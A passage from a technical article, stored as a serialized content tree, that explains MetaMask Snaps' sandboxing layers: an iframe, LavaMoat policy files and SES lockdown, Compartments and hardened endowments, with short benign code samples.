,{"type":32,"value":32098},{"type":26,"tag":475,"props":36629,"children":36630},{"style":499},[36631],{"type":32,"value":353},{"type":26,"tag":475,"props":36633,"children":36634},{"style":493},[36635],{"type":32,"value":36636},"appendChild",{"type":26,"tag":475,"props":36638,"children":36639},{"style":499},[36640],{"type":32,"value":626},{"type":26,"tag":475,"props":36642,"children":36643},{"style":2375},[36644],{"type":32,"value":36645},"iframe",{"type":26,"tag":475,"props":36647,"children":36648},{"style":499},[36649],{"type":32,"value":3533},{"type":26,"tag":35,"props":36651,"children":36652},{},[36653],{"type":32,"value":36654},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":26,"tag":41,"props":36656,"children":36658},{"id":36657},"lavamoat-against-supply-chain-attacks-layer-2",[36659],{"type":32,"value":36660},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":26,"tag":35,"props":36662,"children":36663},{},[36664],{"type":32,"value":36665},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":26,"tag":35,"props":36667,"children":36668},{},[36669,36671,36677],{"type":32,"value":36670},"Malicious dependencies might utilize built-in modules like ",{"type":26,"tag":53,"props":36672,"children":36674},{"className":36673},[],[36675],{"type":32,"value":36676},"fs",{"type":32,"value":36678},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":26,"tag":35,"props":36680,"children":36681},{},[36682],{"type":32,"value":36683},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":26,"tag":35,"props":36685,"children":36686},{},[36687,36689,36696],{"type":32,"value":36688},"This is how a Policy file related to the iframes ",{"type":26,"tag":116,"props":36690,"children":36693},{"href":36691,"rel":36692},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[120],[36694],{"type":32,"value":36695},"looks",{"type":32,"value":179},{"type":26,"tag":465,"props":36698,"children":36700},{"className":33693,"code":36699,"language":2489,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[36701],{"type":26,"tag":53,"props":36702,"children":36703},{"__ignoreMap":7},[36704,36717,36729,36749,36769,36789,36809,36829,36849,36869,36886,36894,36906,36926,36942,36949],{"type":26,"tag":475,"props":36705,"children":36706},{"class":477,"line":478},[36707,36712],{"type":26,"tag":475,"props":36708,"children":36709},{"style":629},[36710],{"type":32,"value":36711},"\"@metamask/post-message-stream\"",{"type":26,"tag":475,"props":36713,"children":36714},{"style":499},[36715],{"type":32,"value":36716},": {\n",{"type":26,"tag":475,"props":36718,"children":36719},{"class":477,"line":516},[36720,36725],{"type":26,"tag":475,"props":36721,"children":36722},{"style":2375},[36723],{"type":32,"value":36724}," \"globals\"",{"type":26,"tag":475,"props":36726,"children":36727},{"style":499},[36728],{"type":32,"value":36716},{"type":26,"tag":475,"props":36730,"children":36731},{"class":477,"line":539},[36732,36737,36741,36745],{"type":26,"tag":475,"props":36733,"children":36734},{"style":2375},[36735],{"type":32,"value":36736}," \"MessageEvent.prototype\"",{"type":26,"tag":475,"props":36738,"children":36739},{"style":499},[36740],{"type":32,"value":15037},{"type":26,"tag":475,"props":36742,"children":36743},{"style":482},[36744],{"type":32,"value":3703},{"type":26,"tag":475,"props":36746,"children":36747},{"style":499},[36748],{"type":32,"value":2425},{"type":26,"tag":475,"props":36750,"children":36751},{"class":477,"line":548},[36752,36757,36761,36765],{"type":26,"tag":475,"props":36753,"children":36754},{"style":2375},[36755],{"type":32,"value":36756}," \"WorkerGlobalScope\"",{"type":26,"tag":475,"props":36758,"children":36759},{"style":499},[36760],{"type":32,"value":15037},{"type":26,"tag":475,"props":36762,"children":36763},{"style":482},[36764],{"type":32,"value":3703},{"type":26,"tag":475,"props":36766,"children":36767},{"style":499},[36768],{"type":32,"value":2425},{"type":26,"tag":475,"props":36770,"children":36771},{"class":477,"line":558},[36772,36777,36781,36785],{"type":26,"tag":475,"props":36773,"children":36774},{"style":2375},[36775],{"type":32,"value":36776}," \"addEventListener\"",{"type":26,"tag":475,"props":36778,"children":36779},{"style":499},[36780],{"type":32,"value":15037},{"type":26,"tag":475,"props":36782,"children":36783},{"style":482},[36784],{"type":32,"value":3703},{"type":26,"tag":475,"props":36786,"children":36787},{"style":499},[36788],{"type":32,"value":2425},{"type":26,"tag":475,"props":36790,"children":36791},{"class":477,"line":582},[36792,36797,36801,36805],{"type":26,"tag":475,"props":36793,"children":36794},{"style":2375},[36795],{"type":32,"value":36796}," \"browser\"",{"type":26,"tag":475,"props":36798,"children":36799},{"style":499},[36800],{"type":32,"value":15037},{"type":26,"tag":475,"props":36802,"children":36803},{"style":482},[36804],{"type":32,"value":3703},{"type":26,"tag":475,"props":36806,"children":36807},{"style":499},[36808],{"type":32,"value":2425},{"type":26,"tag":475,"props":36810,"children":36811},{"class":477,"line":596},[36812,36817,36821,36825],{"type":26,"tag":475,"props":36813,"children":36814},{"style":2375},[36815],{"type":32,"value":36816}," \"chrome\"",{"type":26,"tag":475,"props":36818,"children":36819},{"style":499},[36820],{"type":32,"value":15037},{"type":26,"tag":475,"props":36822,"children":36823},{"style":482},[36824],{"type":32,"value":3703},{"type":26,"tag":475,"props":36826,"children":36827},{"style":499},[36828],{"type":32,"value":2425},{"type":26,"tag":475,"props":36830,"children":36831},{"class":477,"line":610},[36832,36837,36841,36845],{"type":26,"tag":475,"props":36833,"children":36834},{"style":2375},[36835],{"type":32,"value":36836}," \"location.origin\"",{"type":26,"tag":475,"props":36838,"children":36839},{"style":499},[36840],{"type":32,"value":15037},{"type":26,"tag":475,"props":36842,"children":36843},{"style":482},[36844],{"type":32,"value":3703},{"type":26,"tag":475,"props":36846,"children":36847},{"style":499},[36848],{"type":32,"value":2425},{"type":26,"tag":475,"props":36850,"children":36851},{"class":477,"line":650},[36852,36857,36861,36865],{"type":26,"tag":475,"props":36853,"children":36854},{"style":2375},[36855],{"type":32,"value":36856}," \"postMessage\"",{"type":26,"tag":475,"props":36858,"children":36859},{"style":499},[36860],{"type":32,"value":15037},{"type":26,"tag":475,"props":36862,"children":36863},{"style":482},[36864],{"type":32,"value":3703},{"type":26,"tag":475,"props":36866,"children":36867},{"style":499},[36868],{"type":32,"value":2425},{"type":26,"tag":475,"props":36870,"children":36871},{"class":477,"line":679},[36872,36877,36881],{"type":26,"tag":475,"props":36873,"children":36874},{"style":2375},[36875],{"type":32,"value":36876}," \"removeEventListener\"",{"type":26,"tag":475,"props":36878,"children":36879},{"style":499},[36880],{"type":32,"value":15037},{"type":26,"tag":475,"props":36882,"children":36883},{"style":482},[36884],{"type":32,"value":36885},"true\n",{"type":26,"tag":475,"props":36887,"children":36888},{"class":477,"line":735},[36889],{"type":26,"tag":475,"props":36890,"children":36891},{"style":499},[36892],{"type":32,"value":36893}," },\n",{"type":26,"tag":475,"props":36895,"children":36896},{"class":477,"line":744},[36897,36902],{"type":26,"tag":475,"props":36898,"children":36899},{"style":2375},[36900],{"type":32,"value":36901}," \"packages\"",{"type":26,"tag":475,"props":36903,"children":36904},{"style":499},[36905],{"type":32,"value":36716},{"type":26,"tag":475,"props":36907,"children":36908},{"class":477,"line":753},[36909,36914,36918,36922],{"type":26,"tag":475,"props":36910,"children":36911},{"style":2375},[36912],{"type":32,"value":36913}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":26,"tag":475,"props":36915,"children":36916},{"style":499},[36917],{"type":32,"value":15037},{"type":26,"tag":475,"props":36919,"children":36920},{"style":482},[36921],{"type":32,"value":3703},{"type":26,"tag":475,"props":36923,"children":36924},{"style":499},[36925],{"type":32,"value":2425},{"type":26,"tag":475,"props":36927,"children":36928},{"class":477,"line":761},[36929,36934,36938],{"type":26,"tag":475,"props":36930,"children":36931},{"style":2375},[36932],{"type":32,"value":36933}," \"@metamask/post-message-stream>readable-stream\"",{"type":26,"tag":475,"props":36935,"children":36936},{"style":499},[36937],{"type":32,"value":15037},{"type":26,"tag":475,"props":36939,"children":36940},{"style":482},[36941],{"type":32,"value":36885},{"type":26,"tag":475,"props":36943,"children":36944},{"class":477,"line":770},[36945],{"type":26,"tag":475,"props":36946,"children":36947},{"style":499},[36948],{"type":32,"value":12372},{"type":26,"tag":475,"props":36950,"children":36951},{"class":477,"line":794},[36952],{"type":26,"tag":475,"props":36953,"children":36954},{"style":499},[36955],{"type":32,"value":851},{"type":26,"tag":35,"props":36957,"children":36958},{},[36959,36961,36967,36969,36975,36977,36983,36985,36991,36992,36998],{"type":32,"value":36960},"One crucial aspect of the policy, apart from the ",{"type":26,"tag":53,"props":36962,"children":36964},{"className":36963},[],[36965],{"type":32,"value":36966},"globals",{"type":32,"value":36968}," section, is the ",{"type":26,"tag":53,"props":36970,"children":36972},{"className":36971},[],[36973],{"type":32,"value":36974},"packages",{"type":32,"value":36976}," segment. This section permits the ",{"type":26,"tag":53,"props":36978,"children":36980},{"className":36979},[],[36981],{"type":32,"value":36982},"@metamask/post-message-stream",{"type":32,"value":36984},"package to exclusively interact with the package ",{"type":26,"tag":53,"props":36986,"children":36988},{"className":36987},[],[36989],{"type":32,"value":36990},"@metamask/utils",{"type":32,"value":209},{"type":26,"tag":53,"props":36993,"children":36995},{"className":36994},[],[36996],{"type":32,"value":36997},"readable-stream",{"type":32,"value":36999},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":26,"tag":35,"props":37001,"children":37002},{},[37003,37005,37011],{"type":32,"value":37004},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":26,"tag":53,"props":37006,"children":37008},{"className":37007},[],[37009],{"type":32,"value":37010},"lockdown",{"type":32,"value":37012}," function to freeze all javascript builtins prototypes.",{"type":26,"tag":41,"props":37014,"children":37016},{"id":37015},"secure-ecmascript-ses-sandbox-layer-3",[37017],{"type":32,"value":37018},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":26,"tag":35,"props":37020,"children":37021},{},[37022,37024,37031],{"type":32,"value":37023},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":26,"tag":116,"props":37025,"children":37028},{"href":37026,"rel":37027},"https://github.com/endojs/endo/tree/master/packages/ses",[120],[37029],{"type":32,"value":37030},"Secure EcmaScript (SES)",{"type":32,"value":37032}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":26,"tag":70,"props":37034,"children":37036},{"id":37035},"ses-fundamentals",[37037],{"type":32,"value":37038},"SES Fundamentals",{"type":26,"tag":37040,"props":37041,"children":37042},"h5",{"id":37010},[37043],{"type":32,"value":37044},"Lockdown",{"type":26,"tag":35,"props":37046,"children":37047},{},[37048,37050,37056],{"type":32,"value":37049},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":26,"tag":53,"props":37051,"children":37053},{"className":37052},[],[37054],{"type":32,"value":37055},"lockdown()",{"type":32,"value":37057}," function, which protects javascript objects against some attacks, mainly:",{"type":26,"tag":181,"props":37059,"children":37060},{},[37061,37074],{"type":26,"tag":86,"props":37062,"children":37063},{},[37064,37066,37072],{"type":32,"value":37065},"Prototype Pollution\nLockdown executes ",{"type":26,"tag":53,"props":37067,"children":37069},{"className":37068},[],[37070],{"type":32,"value":37071},"Object.freeze",{"type":32,"value":37073}," against all javascript builtins prototypes, preventing these attacks.",{"type":26,"tag":86,"props":37075,"children":37076},{},[37077,37079,37085,37087,37093],{"type":32,"value":37078},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":26,"tag":53,"props":37080,"children":37082},{"className":37081},[],[37083],{"type":32,"value":37084},"trace",{"type":32,"value":37086}," attribute in an ",{"type":26,"tag":53,"props":37088,"children":37090},{"className":37089},[],[37091],{"type":32,"value":37092},"Error",{"type":32,"value":37094}," object, which contains the stack trace of the error.",{"type":26,"tag":37040,"props":37096,"children":37098},{"id":37097},"compartment",[37099],{"type":32,"value":37100},"Compartment",{"type":26,"tag":35,"props":37102,"children":37103},{},[37104,37106,37112,37114,37119],{"type":32,"value":37105},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":26,"tag":53,"props":37107,"children":37109},{"className":37108},[],[37110],{"type":32,"value":37111},"globalThis",{"type":32,"value":37113}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":26,"tag":53,"props":37115,"children":37117},{"className":37116},[],[37118],{"type":32,"value":37111},{"type":32,"value":37120}," context is incapable of tampering with security.",{"type":26,"tag":465,"props":37122,"children":37124},{"className":35309,"code":37123,"language":35311,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[37125],{"type":26,"tag":53,"props":37126,"children":37127},{"__ignoreMap":7},[37128,37157,37190],{"type":26,"tag":475,"props":37129,"children":37130},{"class":477,"line":478},[37131,37135,37140,37144,37148,37153],{"type":26,"tag":475,"props":37132,"children":37133},{"style":482},[37134],{"type":32,"value":9363},{"type":26,"tag":475,"props":37136,"children":37137},{"style":2375},[37138],{"type":32,"value":37139}," c",{"type":26,"tag":475,"props":37141,"children":37142},{"style":714},[37143],{"type":32,"value":2383},{"type":26,"tag":475,"props":37145,"children":37146},{"style":482},[37147],{"type":32,"value":31633},{"type":26,"tag":475,"props":37149,"children":37150},{"style":493},[37151],{"type":32,"value":37152}," Compartment",{"type":26,"tag":475,"props":37154,"children":37155},{"style":499},[37156],{"type":32,"value":3376},{"type":26,"tag":475,"props":37158,"children":37159},{"class":477,"line":516},[37160,37164,37168,37172,37176,37181,37185],{"type":26,"tag":475,"props":37161,"children":37162},{"style":2375},[37163],{"type":32,"value":2854},{"type":26,"tag":475,"props":37165,"children":37166},{"style":499},[37167],{"type":32,"value":353},{"type":26,"tag":475,"props":37169,"children":37170},{"style":2375},[37171],{"type":32,"value":37111},{"type":26,"tag":475,"props":37173,"children":37174},{"style":714},[37175],{"type":32,"value":31122},{"type":26,"tag":475,"props":37177,"children":37178},{"style":2375},[37179],{"type":32,"value":37180}," globalThis",{"type":26,"tag":475,"props":37182,"children":37183},{"style":499},[37184],{"type":32,"value":16933},{"type":26,"tag":475,"props":37186,"children":37187},{"style":552},[37188],{"type":32,"value":37189},"// false\n",{"type":26,"tag":475,"props":37191,"children":37192},{"class":477,"line":539},[37193,37197,37201,37205,37209,37214,37218,37223,37227],{"type":26,"tag":475,"props":37194,"children":37195},{"style":2375},[37196],{"type":32,"value":2854},{"type":26,"tag":475,"props":37198,"children":37199},{"style":499},[37200],{"type":32,"value":353},{"type":26,"tag":475,"props":37202,"children":37203},{"style":2375},[37204],{"type":32,"value":37111},{"type":26,"tag":475,"props":37206,"children":37207},{"style":499},[37208],{"type":32,"value":353},{"type":26,"tag":475,"props":37210,"children":37211},{"style":2375},[37212],{"type":32,"value":37213},"JSON",{"type":26,"tag":475,"props":37215,"children":37216},{"style":714},[37217],{"type":32,"value":31122},{"type":26,"tag":475,"props":37219,"children":37220},{"style":2375},[37221],{"type":32,"value":37222}," JSON",{"type":26,"tag":475,"props":37224,"children":37225},{"style":499},[37226],{"type":32,"value":16933},{"type":26,"tag":475,"props":37228,"children":37229},{"style":552},[37230],{"type":32,"value":37231},"// true\n",{"type":26,"tag":35,"props":37233,"children":37234},{},[37235,37237,37243,37245,37251,37253,37258],{"type":32,"value":37236},"Compartment also changes the behaviour of evaluators functions such as ",{"type":26,"tag":53,"props":37238,"children":37240},{"className":37239},[],[37241],{"type":32,"value":37242},"eval",{"type":32,"value":37244}," and the ",{"type":26,"tag":53,"props":37246,"children":37248},{"className":37247},[],[37249],{"type":32,"value":37250},"Function",{"type":32,"value":37252}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":26,"tag":53,"props":37254,"children":37256},{"className":37255},[],[37257],{"type":32,"value":37111},{"type":32,"value":353},{"type":26,"tag":37040,"props":37260,"children":37262},{"id":37261},"endowments",[37263],{"type":32,"value":37264},"Endowments",{"type":26,"tag":35,"props":37266,"children":37267},{},[37268,37270,37274,37276,37281],{"type":32,"value":37269},"While creating a Compartment, it is possible to specify ",{"type":26,"tag":2615,"props":37271,"children":37272},{},[37273],{"type":32,"value":37261},{"type":32,"value":37275},". These endowments constitute objects that become accessible within the Compartment's ",{"type":26,"tag":53,"props":37277,"children":37279},{"className":37278},[],[37280],{"type":32,"value":37111},{"type":32,"value":37282},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":26,"tag":35,"props":37284,"children":37285},{},[37286,37288,37294],{"type":32,"value":37287},"In addition, SES provides the ",{"type":26,"tag":53,"props":37289,"children":37291},{"className":37290},[],[37292],{"type":32,"value":37293},"harden()",{"type":32,"value":37295}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":26,"tag":70,"props":37297,"children":37299},{"id":37298},"setting-up-snaps-execution-env",[37300],{"type":32,"value":37301},"Setting up Snaps Execution Env",{"type":26,"tag":35,"props":37303,"children":37304},{},[37305],{"type":32,"value":37306},"When starting a snap, the setup follows these steps:",{"type":26,"tag":181,"props":37308,"children":37309},{},[37310],{"type":26,"tag":86,"props":37311,"children":37312},{},[37313],{"type":26,"tag":105,"props":37314,"children":37315},{},[37316,37318],{"type":32,"value":37317},"Create endowments based on snap ",{"type":26,"tag":116,"props":37319,"children":37322},{"href":37320,"rel":37321},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[120],[37323],{"type":32,"value":37324},"permissions",{"type":26,"tag":465,"props":37326,"children":37328},{"className":35309,"code":37327,"language":35311,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[37329],{"type":26,"tag":53,"props":37330,"children":37331},{"__ignoreMap":7},[37332,37382,37394,37405,37417,37429],{"type":26,"tag":475,"props":37333,"children":37334},{"class":477,"line":478},[37335,37339,37343,37347,37351,37356,37360,37365,37369,37373,37378],{"type":26,"tag":475,"props":37336,"children":37337},{"style":482},[37338],{"type":32,"value":9363},{"type":26,"tag":475,"props":37340,"children":37341},{"style":499},[37342],{"type":32,"value":1101},{"type":26,"tag":475,"props":37344,"children":37345},{"style":2375},[37346],{"type":32,"value":37261},{"type":26,"tag":475,"props":37348,"children":37349},{"style":499},[37350],{"type":32,"value":637},{"type":26,"tag":475,"props":37352,"children":37353},{"style":2375},[37354],{"type":32,"value":37355},"teardown",{"type":26,"tag":475,"props":37357,"children":37358},{"style":499},[37359],{"type":32,"value":15037},{"type":26,"tag":475,"props":37361,"children":37362},{"style":2375},[37363],{"type":32,"value":37364},"endowmentTeardown",{"type":26,"tag":475,"props":37366,"children":37367},{"style":499},[37368],{"type":32,"value":35897},{"type":26,"tag":475,"props":37370,"children":37371},{"style":714},[37372],{"type":32,"value":786},{"type":26,"tag":475,"props":37374,"children":37375},{"style":493},[37376],{"type":32,"value":37377}," createEndowments",{"type":26,"tag":475,"props":37379,"children":37380},{"style":499},[37381],{"type":32,"value":3169},{"type":26,"tag":475,"props":37383,"children":37384},{"class":477,"line":516},[37385,37390],{"type":26,"tag":475,"props":37386,"children":37387},{"style":2375},[37388],{"type":32,"value":37389}," snap",{"type":26,"tag":475,"props":37391,"children":37392},{"style":499},[37393],{"type":32,"value":2425},{"type":26,"tag":475,"props":37395,"children":37396},{"class":477,"line":539},[37397,37401],{"type":26,"tag":475,"props":37398,"children":37399},{"style":2375},[37400],{"type":32,"value":31184},{"type":26,"tag":475,"props":37402,"children":37403},{"style":499},[37404],{"type":32,"value":2425},{"type":26,"tag":475,"props":37406,"children":37407},{"class":477,"line":548},[37408,37413],{"type":26,"tag":475,"props":37409,"children":37410},{"style":2375},[37411],{"type":32,"value":37412}," snapId",{"type":26,"tag":475,"props":37414,"children":37415},{"style":499},[37416],{"type":32,"value":2425},{"type":26,"tag":475,"props":37418,"children":37419},{"class":477,"line":558},[37420,37425],{"type":26,"tag":475,"props":37421,"children":37422},{"style":2375},[37423],{"type":32,"value":37424}," _endowments",{"type":26,"tag":475,"props":37426,"children":37427},{"style":499},[37428],{"type":32,"value":2425},{"type":26,"tag":475,"props":37430,"children":37431},{"class":477,"line":582},[37432],{"type":26,"tag":475,"props":37433,"children":37434},{"style":499},[37435],{"type":32,"value":3533},{"type":26,"tag":35,"props":37437,"children":37438},{},[37439],{"type":32,"value":37440},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":26,"tag":35,"props":37442,"children":37443},{},[37444,37446,37452,37454,37459],{"type":32,"value":37445},"One clear example is the ",{"type":26,"tag":53,"props":37447,"children":37449},{"className":37448},[],[37450],{"type":32,"value":37451},"endowment:network-access",{"type":32,"value":37453}," permission, that adds the ",{"type":26,"tag":53,"props":37455,"children":37457},{"className":37456},[],[37458],{"type":32,"value":2277},{"type":32,"value":37460}," function to the endowments.",{"type":26,"tag":35,"props":37462,"children":37463},{},[37464,37466,37472],{"type":32,"value":37465},"All endowments are protected with the ",{"type":26,"tag":53,"props":37467,"children":37469},{"className":37468},[],[37470],{"type":32,"value":37471},"harden",{"type":32,"value":37473}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":26,"tag":181,"props":37475,"children":37476},{"start":516},[37477],{"type":26,"tag":86,"props":37478,"children":37479},{},[37480],{"type":26,"tag":105,"props":37481,"children":37482},{},[37483,37485],{"type":32,"value":37484},"Create the snap ",{"type":26,"tag":116,"props":37486,"children":37489},{"href":37487,"rel":37488},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[120],[37490],{"type":32,"value":37097},{"type":26,"tag":465,"props":37492,"children":37494},{"className":35309,"code":37493,"language":35311,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[37495],{"type":26,"tag":53,"props":37496,"children":37497},{"__ignoreMap":7},[37498,37526,37542,37559,37584],{"type":26,"tag":475,"props":37499,"children":37500},{"class":477,"line":478},[37501,37505,37510,37514,37518,37522],{"type":26,"tag":475,"props":37502,"children":37503},{"style":482},[37504],{"type":32,"value":9363},{"type":26,"tag":475,"props":37506,"children":37507},{"style":2375},[37508],{"type":32,"value":37509}," compartment",{"type":26,"tag":475,"props":37511,"children":37512},{"style":714},[37513],{"type":32,"value":2383},{"type":26,"tag":475,"props":37515,"children":37516},{"style":482},[37517],{"type":32,"value":31633},{"type":26,"tag":475,"props":37519,"children":37520},{"style":493},[37521],{"type":32,"value":37152},{"type":26,"tag":475,"props":37523,"children":37524},{"style":499},[37525],{"type":32,"value":14846},{"type":26,"tag":475,"props":37527,"children":37528},{"class":477,"line":516},[37529,37534,37538],{"type":26,"tag":475,"props":37530,"children":37531},{"style":714},[37532],{"type":32,"value":37533}," ...",{"type":26,"tag":475,"props":37535,"children":37536},{"style":2375},[37537],{"type":32,"value":37261},{"type":26,"tag":475,"props":37539,"children":37540},{"style":499},[37541],{"type":32,"value":2425},{"type":26,"tag":475,"props":37543,"children":37544},{"class":477,"line":539},[37545,37550,37555],{"type":26,"tag":475,"props":37546,"children":37547},{"style":2375},[37548],{"type":32,"value":37549}," module:",{"type":26,"tag":475,"props":37551,"children":37552},{"style":2375},[37553],{"type":32,"value":37554}," snapModule",{"type":26,"tag":475,"props":37556,"children":37557},{"style":499},[37558],{"type":32,"value":2425},{"type":26,"tag":475,"props":37560,"children":37561},{"class":477,"line":548},[37562,37567,37571,37575,37580],{"type":26,"tag":475,"props":37563,"children":37564},{"style":2375},[37565],{"type":32,"value":37566}," exports:",{"type":26,"tag":475,"props":37568,"children":37569},{"style":2375},[37570],{"type":32,"value":37554},{"type":26,"tag":475,"props":37572,"children":37573},{"style":499},[37574],{"type":32,"value":353},{"type":26,"tag":475,"props":37576,"children":37577},{"style":2375},[37578],{"type":32,"value":37579},"exports",{"type":26,"tag":475,"props":37581,"children":37582},{"style":499},[37583],{"type":32,"value":2425},{"type":26,"tag":475,"props":37585,"children":37586},{"class":477,"line":558},[37587],{"type":26,"tag":475,"props":37588,"children":37589},{"style":499},[37590],{"type":32,"value":35033},{"type":26,"tag":35,"props":37592,"children":37593},{},[37594,37596,37602,37603,37608,37610,37615],{"type":32,"value":37595},"Note: ",{"type":26,"tag":53,"props":37597,"children":37599},{"className":37598},[],[37600],{"type":32,"value":37601},"module",{"type":32,"value":209},{"type":26,"tag":53,"props":37604,"children":37606},{"className":37605},[],[37607],{"type":32,"value":37579},{"type":32,"value":37609}," are passed as endowments, but without being ",{"type":26,"tag":2615,"props":37611,"children":37612},{},[37613],{"type":32,"value":37614},"hardened",{"type":32,"value":37616},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":26,"tag":181,"props":37618,"children":37619},{"start":539},[37620],{"type":26,"tag":86,"props":37621,"children":37622},{},[37623],{"type":26,"tag":105,"props":37624,"children":37625},{},[37626,37628],{"type":32,"value":37627},"Evaluate the snap code inside the ",{"type":26,"tag":116,"props":37629,"children":37632},{"href":37630,"rel":37631},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[120],[37633],{"type":32,"value":37097},{"type":26,"tag":465,"props":37635,"children":37637},{"className":35309,"code":37636,"language":35311,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[37638],{"type":26,"tag":53,"props":37639,"children":37640},{"__ignoreMap":7},[37641,37682,37712,37749],{"type":26,"tag":475,"props":37642,"children":37643},{"class":477,"line":478},[37644,37648,37652,37656,37661,37665,37669,37674,37678],{"type":26,"tag":475,"props":37645,"children":37646},{"style":586},[37647],{"type":32,"value":2476},{"type":26,"tag":475,"props":37649,"children":37650},{"style":482},[37651],{"type":32,"value":35412},{"type":26,"tag":475,"props":37653,"children":37654},{"style":499},[37655],{"type":32,"value":353},{"type":26,"tag":475,"props":37657,"children":37658},{"style":493},[37659],{"type":32,"value":37660},"executeInSnapContext",{"type":26,"tag":475,"props":37662,"children":37663},{"style":499},[37664],{"type":32,"value":626},{"type":26,"tag":475,"props":37666,"children":37667},{"style":2375},[37668],{"type":32,"value":35716},{"type":26,"tag":475,"props":37670,"children":37671},{"style":499},[37672],{"type":32,"value":37673},", () ",{"type":26,"tag":475,"props":37675,"children":37676},{"style":482},[37677],{"type":32,"value":2360},{"type":26,"tag":475,"props":37679,"children":37680},{"style":499},[37681],{"type":32,"value":579},{"type":26,"tag":475,"props":37683,"children":37684},{"class":477,"line":516},[37685,37690,37694,37699,37703,37708],{"type":26,"tag":475,"props":37686,"children":37687},{"style":2375},[37688],{"type":32,"value":37689}," compartment",{"type":26,"tag":475,"props":37691,"children":37692},{"style":499},[37693],{"type":32,"value":353},{"type":26,"tag":475,"props":37695,"children":37696},{"style":493},[37697],{"type":32,"value":37698},"evaluate",{"type":26,"tag":475,"props":37700,"children":37701},{"style":499},[37702],{"type":32,"value":626},{"type":26,"tag":475,"props":37704,"children":37705},{"style":2375},[37706],{"type":32,"value":37707},"sourceCode",{"type":26,"tag":475,"props":37709,"children":37710},{"style":499},[37711],{"type":32,"value":3533},{"type":26,"tag":475,"props":37713,"children":37714},{"class":477,"line":539},[37715,37719,37723,37728,37732,37736,37740,37745],{"type":26,"tag":475,"props":37716,"children":37717},{"style":482},[37718],{"type":32,"value":35760},{"type":26,"tag":475,"props":37720,"children":37721},{"style":499},[37722],{"type":32,"value":353},{"type":26,"tag":475,"props":37724,"children":37725},{"style":493},[37726],{"type":32,"value":37727},"registerSnapExports",{"type":26,"tag":475,"props":37729,"children":37730},{"style":499},[37731],{"type":32,"value":626},{"type":26,"tag":475,"props":37733,"children":37734},{"style":2375},[37735],{"type":32,"value":35716},{"type":26,"tag":475,"props":37737,"children":37738},{"style":499},[37739],{"type":32,"value":637},{"type":26,"tag":475,"props":37741,"children":37742},{"style":2375},[37743],{"type":32,"value":37744},"snapModule",{"type":26,"tag":475,"props":37746,"children":37747},{"style":499},[37748],{"type":32,"value":3533},{"type":26,"tag":475,"props":37750,"children":37751},{"class":477,"line":548},[37752],{"type":26,"tag":475,"props":37753,"children":37754},{"style":499},[37755],{"type":32,"value":35033},{"type":26,"tag":35,"props":37757,"children":37758},{},[37759,37761,37767,37768,37774,37775,37781],{"type":32,"value":37760},"According to the documentation, the snap must contain one of the following function exports: ",{"type":26,"tag":53,"props":37762,"children":37764},{"className":37763},[],[37765],{"type":32,"value":37766},"onRpcRequest",{"type":32,"value":637},{"type":26,"tag":53,"props":37769,"children":37771},{"className":37770},[],[37772],{"type":32,"value":37773},"onTransaction",{"type":32,"value":455},{"type":26,"tag":53,"props":37776,"children":37778},{"className":37777},[],[37779],{"type":32,"value":37780},"onCronjob",{"type":32,"value":353},{"type":26,"tag":35,"props":37783,"children":37784},{},[37785,37787,37792],{"type":32,"value":37786},"Once the Compartment creates these functions, no matter where they are executed, they will always be 